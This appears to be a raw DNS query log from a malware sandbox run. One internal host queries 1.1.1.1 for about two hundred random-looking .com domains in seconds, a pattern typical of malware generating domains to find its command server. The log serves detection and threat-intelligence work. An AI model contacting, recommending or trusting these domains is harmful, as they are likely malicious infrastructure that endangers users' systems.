                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.385090113 CET192.168.2.41.1.1.10x43aaStandard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.394483089 CET192.168.2.41.1.1.10x22acStandard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.394807100 CET192.168.2.41.1.1.10x8d49Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.413295984 CET192.168.2.41.1.1.10xd473Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.419601917 CET192.168.2.41.1.1.10xc016Standard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.419601917 CET192.168.2.41.1.1.10xa8feStandard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.419886112 CET192.168.2.41.1.1.10x432cStandard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.419991016 CET192.168.2.41.1.1.10x53eeStandard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.420598030 CET192.168.2.41.1.1.10x3429Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.420847893 CET192.168.2.41.1.1.10x4531Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.420847893 CET192.168.2.41.1.1.10x3b97Standard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.421158075 CET192.168.2.41.1.1.10x8e18Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.421288967 CET192.168.2.41.1.1.10x2eabStandard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.421910048 CET192.168.2.41.1.1.10x93f8Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.427150965 CET192.168.2.41.1.1.10x1082Standard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.427335024 CET192.168.2.41.1.1.10xd0d2Standard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.430823088 CET192.168.2.41.1.1.10x4c85Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.434669018 CET192.168.2.41.1.1.10x8470Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.434669018 CET192.168.2.41.1.1.10x7c70Standard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.434989929 CET192.168.2.41.1.1.10x7d0fStandard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.435163975 CET192.168.2.41.1.1.10xb985Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.435832024 CET192.168.2.41.1.1.10xebbbStandard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.438802004 CET192.168.2.41.1.1.10xa815Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.005292892 CET192.168.2.41.1.1.10x54cStandard query (0)www.gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.909430981 CET192.168.2.41.1.1.10xbb7eStandard query (0)vocymut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.911720991 CET192.168.2.41.1.1.10x3ff9Standard query (0)purylev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.912192106 CET192.168.2.41.1.1.10x67c7Standard query (0)lyryled.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.912575960 CET192.168.2.41.1.1.10xa159Standard query (0)lygysij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.944933891 CET192.168.2.41.1.1.10x7262Standard query (0)gahydoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.026818037 CET192.168.2.41.1.1.10x6d72Standard query (0)vowykaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.049185991 CET192.168.2.41.1.1.10x4298Standard query (0)qegysoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.059545040 CET192.168.2.41.1.1.10x8fb4Standard query (0)gaqykab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.064965010 CET192.168.2.41.1.1.10x5aa0Standard query (0)gacynuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.065785885 CET192.168.2.41.1.1.10x916bStandard query (0)lykyfen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.066917896 CET192.168.2.41.1.1.10x355cStandard query (0)qexynyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.069997072 CET192.168.2.41.1.1.10xdef4Standard query (0)pupyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.070522070 CET192.168.2.41.1.1.10xe3a7Standard query (0)lyvymir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.071090937 CET192.168.2.41.1.1.10x363Standard query (0)vojydam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.093250990 CET192.168.2.41.1.1.10x25fbStandard query (0)qetylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.097910881 CET192.168.2.41.1.1.10x5c3fStandard query (0)volygyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.098664045 CET192.168.2.41.1.1.10x10fStandard query (0)puzyguv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.099231958 CET192.168.2.41.1.1.10x442Standard query (0)qeqyreq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.101023912 CET192.168.2.41.1.1.10x3ec8Standard query (0)lyxygud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.109093904 CET192.168.2.41.1.1.10xf808Standard query (0)gaqyreh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.110605001 CET192.168.2.41.1.1.10xb96cStandard query (0)pufycol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.113420010 CET192.168.2.41.1.1.10x7c25Standard query (0)vowyrym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.115137100 CET192.168.2.41.1.1.10xc90dStandard query (0)lygyvar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.124203920 CET192.168.2.41.1.1.10xd153Standard query (0)purytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.133822918 CET192.168.2.41.1.1.10x1533Standard query (0)gahyvew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.146085024 CET192.168.2.41.1.1.10xd32dStandard query (0)lyrytun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.146270037 CET192.168.2.41.1.1.10x9a5dStandard query (0)puvyjop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.151633978 CET192.168.2.41.1.1.10xb30aStandard query (0)vocyjic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.152486086 CET192.168.2.41.1.1.10xc806Standard query (0)qetytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.153116941 CET192.168.2.41.1.1.10xc580Standard query (0)vojybek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.161389112 CET192.168.2.41.1.1.10xcf3cStandard query (0)lyvyjox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.164134979 CET192.168.2.41.1.1.10xea6fStandard query (0)gatypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.196470976 CET192.168.2.41.1.1.10x6fdeStandard query (0)pujybyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.200520992 CET192.168.2.41.1.1.10x73edStandard query (0)qebykap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.299938917 CET192.168.2.41.1.1.10x5e5eStandard query (0)qebyqil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.333848000 CET192.168.2.41.1.1.10x8e0Standard query (0)ganyqow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.334054947 CET192.168.2.41.1.1.10x5f9eStandard query (0)pumywaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.334460974 CET192.168.2.41.1.1.10x9da3Standard query (0)vopyzuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.334672928 CET192.168.2.41.1.1.10x2651Standard query (0)puvymul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.335637093 CET192.168.2.41.1.1.10xfa0eStandard query (0)pujydag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.335807085 CET192.168.2.41.1.1.10xdb4fStandard query (0)gatyzys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.380795956 CET192.168.2.41.1.1.10xa42aStandard query (0)pumylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.381207943 CET192.168.2.41.1.1.10x339eStandard query (0)vonyket.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.382144928 CET192.168.2.41.1.1.10x220bStandard query (0)qedysov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.384486914 CET192.168.2.41.1.1.10xa1bStandard query (0)pufypiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.388081074 CET192.168.2.41.1.1.10x2e05Standard query (0)lymywaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.388253927 CET192.168.2.41.1.1.10x9f8cStandard query (0)lykynyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.388415098 CET192.168.2.41.1.1.10xfd78Standard query (0)ganykaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.388556004 CET192.168.2.41.1.1.10xe108Standard query (0)gacyhis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.388714075 CET192.168.2.41.1.1.10xcdb6Standard query (0)qedyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.388864994 CET192.168.2.41.1.1.10x614bStandard query (0)qekynuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.389014006 CET192.168.2.41.1.1.10x8d78Standard query (0)pupypiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.389161110 CET192.168.2.41.1.1.10x8f6cStandard query (0)lysyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.389302969 CET192.168.2.41.1.1.10x7669Standard query (0)vonyqok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.389452934 CET192.168.2.41.1.1.10xfcf5Standard query (0)vopypif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.389599085 CET192.168.2.41.1.1.10xb51Standard query (0)lysysod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.389789104 CET192.168.2.41.1.1.10x73d0Standard query (0)qekyfeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.390491962 CET192.168.2.41.1.1.10x353eStandard query (0)galyfyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.893342018 CET192.168.2.41.1.1.10x558fStandard query (0)gacyvah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.925560951 CET192.168.2.41.1.1.10xbd0dStandard query (0)puvybeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.926198006 CET192.168.2.41.1.1.10xfd63Standard query (0)lyryjir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.950022936 CET192.168.2.41.1.1.10x87d3Standard query (0)qetykol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.950866938 CET192.168.2.41.1.1.10x43dStandard query (0)qedyleq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.953742027 CET192.168.2.41.1.1.10x95faStandard query (0)pumymuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.956279993 CET192.168.2.41.1.1.10x6bebStandard query (0)qebynyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.964015961 CET192.168.2.41.1.1.10x50afStandard query (0)galydoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.985599041 CET192.168.2.41.1.1.10x5346Standard query (0)lysylej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.992221117 CET192.168.2.41.1.1.10xb334Standard query (0)pupylaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.992317915 CET192.168.2.41.1.1.10x70d9Standard query (0)qekysip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.992899895 CET192.168.2.41.1.1.10xa3c3Standard query (0)vonymuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.004957914 CET192.168.2.41.1.1.10xb8e1Standard query (0)ganynyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.006069899 CET192.168.2.41.1.1.10x85b2Standard query (0)lykysix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.006778955 CET192.168.2.41.1.1.10xa3b7Standard query (0)vopykak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.007780075 CET192.168.2.41.1.1.10x3af5Standard query (0)pujypup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.008352995 CET192.168.2.41.1.1.10xf6b6Standard query (0)gatykow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.012542963 CET192.168.2.41.1.1.10x4893Standard query (0)lyvynen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.017725945 CET192.168.2.41.1.1.10xc45eStandard query (0)puryjil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.022610903 CET192.168.2.41.1.1.10x34d8Standard query (0)qegytyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.155837059 CET192.168.2.41.1.1.10xe7edStandard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.174155951 CET192.168.2.41.1.1.10x8e25Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.176206112 CET192.168.2.41.1.1.10xd1dcStandard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.192063093 CET192.168.2.41.1.1.10xf2f1Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.196904898 CET192.168.2.41.1.1.10xe487Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.295216084 CET192.168.2.41.1.1.10x28f2Standard query (0)puzydal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.295216084 CET192.168.2.41.1.1.10x312eStandard query (0)pufyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.295217037 CET192.168.2.41.1.1.10x79f3Standard query (0)gaqyqis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.298691988 CET192.168.2.41.1.1.10xbe4bStandard query (0)vofyzym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.300194979 CET192.168.2.41.1.1.10x4ddcStandard query (0)vojypuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.318720102 CET192.168.2.41.1.1.10x2f70Standard query (0)vofypuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.323771000 CET192.168.2.41.1.1.10xb9deStandard query (0)volydot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.324522018 CET192.168.2.41.1.1.10xff2eStandard query (0)qexyfel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.324718952 CET192.168.2.41.1.1.10x7e40Standard query (0)vocybam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.331876993 CET192.168.2.41.1.1.10xfb8cStandard query (0)puzybep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.333228111 CET192.168.2.41.1.1.10xcd03Standard query (0)qekyvav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.333448887 CET192.168.2.41.1.1.10x6e6cStandard query (0)gadypuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.333576918 CET192.168.2.41.1.1.10x8542Standard query (0)gatyrez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.333633900 CET192.168.2.41.1.1.10x34dfStandard query (0)qetyrap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.333798885 CET192.168.2.41.1.1.10xf6cbStandard query (0)puvygyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.333852053 CET192.168.2.41.1.1.10xd799Standard query (0)qeqykog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.334000111 CET192.168.2.41.1.1.10x4414Standard query (0)gahycib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.334053993 CET192.168.2.41.1.1.10x82dStandard query (0)lyrywax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.334207058 CET192.168.2.41.1.1.10xc9cdStandard query (0)vocygyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.334258080 CET192.168.2.41.1.1.10x2f71Standard query (0)purywop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.340483904 CET192.168.2.41.1.1.10xbf03Standard query (0)qegyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.343029976 CET192.168.2.41.1.1.10x8675Standard query (0)lyxyfar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.364409924 CET192.168.2.41.1.1.10x17c4Standard query (0)qeqyqiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.371741056 CET192.168.2.41.1.1.10x3b6aStandard query (0)lymymud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.371933937 CET192.168.2.41.1.1.10xf7ecStandard query (0)lygyxun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.372472048 CET192.168.2.41.1.1.10xf9f6Standard query (0)vowyqoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.373226881 CET192.168.2.41.1.1.10x4543Standard query (0)gadyzyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.373404980 CET192.168.2.41.1.1.10xd6f8Standard query (0)vojycif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.373703003 CET192.168.2.41.1.1.10xd501Standard query (0)gacyfew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.373931885 CET192.168.2.41.1.1.10xef21Standard query (0)gahypus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.374093056 CET192.168.2.41.1.1.10x7f54Standard query (0)qebyhuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.374249935 CET192.168.2.41.1.1.10x33c9Standard query (0)vopyret.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.374423981 CET192.168.2.41.1.1.10x877fStandard query (0)lymyjon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.374581099 CET192.168.2.41.1.1.10xa042Standard query (0)volybec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.375777006 CET192.168.2.41.1.1.10x7b9fStandard query (0)pumyjig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.375992060 CET192.168.2.41.1.1.10xc7f9Standard query (0)qedytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.376277924 CET192.168.2.41.1.1.10x106cStandard query (0)pupytyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.376662016 CET192.168.2.41.1.1.10x89f3Standard query (0)lykyvod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.405988932 CET192.168.2.41.1.1.10x6114Standard query (0)ganyhuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.407403946 CET192.168.2.41.1.1.10xe87aStandard query (0)lyvyguj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.408184052 CET192.168.2.41.1.1.10xb8deStandard query (0)vonyjim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.413022995 CET192.168.2.41.1.1.10x3352Standard query (0)lysytyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.415138006 CET192.168.2.41.1.1.10x39eaStandard query (0)pujycov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:01.735915899 CET192.168.2.41.1.1.10x2f33Standard query (0)galyvas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.113229036 CET192.168.2.41.1.1.10x5762Standard query (0)puzyciq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.115555048 CET192.168.2.41.1.1.10x78b7Standard query (0)qeqyhup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.116921902 CET192.168.2.41.1.1.10xd2deStandard query (0)vofyref.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.145484924 CET192.168.2.41.1.1.10x9906Standard query (0)lygylax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.147885084 CET192.168.2.41.1.1.10xffd2Standard query (0)gacydib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.148762941 CET192.168.2.41.1.1.10x5825Standard query (0)qegylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.148943901 CET192.168.2.41.1.1.10x8bdbStandard query (0)vowyjut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.155100107 CET192.168.2.41.1.1.10xcaa5Standard query (0)puvydov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.174442053 CET192.168.2.41.1.1.10x6b3dStandard query (0)vofykoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.187699080 CET192.168.2.41.1.1.10x7e13Standard query (0)pupywog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.189305067 CET192.168.2.41.1.1.10xdcf3Standard query (0)galycuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.189727068 CET192.168.2.41.1.1.10x8994Standard query (0)gadyrab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.191145897 CET192.168.2.41.1.1.10xe050Standard query (0)pumygyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.194976091 CET192.168.2.41.1.1.10xff8eStandard query (0)qedyrag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.198695898 CET192.168.2.41.1.1.10xb666Standard query (0)qexyvoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.201260090 CET192.168.2.41.1.1.10x727aStandard query (0)ganyfes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.203453064 CET192.168.2.41.1.1.10x463cStandard query (0)qeqynel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.204200029 CET192.168.2.41.1.1.10x842dStandard query (0)lyxysun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.205693960 CET192.168.2.41.1.1.10xc6c1Standard query (0)volycik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.206814051 CET192.168.2.41.1.1.10x1a48Standard query (0)gaqynyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.212798119 CET192.168.2.41.1.1.10x194fStandard query (0)pupyjuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.213059902 CET192.168.2.41.1.1.10x19c7Standard query (0)vonygec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.215204954 CET192.168.2.41.1.1.10xb346Standard query (0)qekyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.216401100 CET192.168.2.41.1.1.10x7b33Standard query (0)lymygyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.217190981 CET192.168.2.41.1.1.10x719Standard query (0)vopyqim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.235078096 CET192.168.2.41.1.1.10x6433Standard query (0)lyxyvoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.235364914 CET192.168.2.41.1.1.10x2ba3Standard query (0)lyrymuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.235569954 CET192.168.2.41.1.1.10x7c96Standard query (0)vocydof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.236393929 CET192.168.2.41.1.1.10xd81dStandard query (0)vowymyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.236660004 CET192.168.2.41.1.1.10xe75Standard query (0)qexysig.comA (IP address)IN (0x0001)false
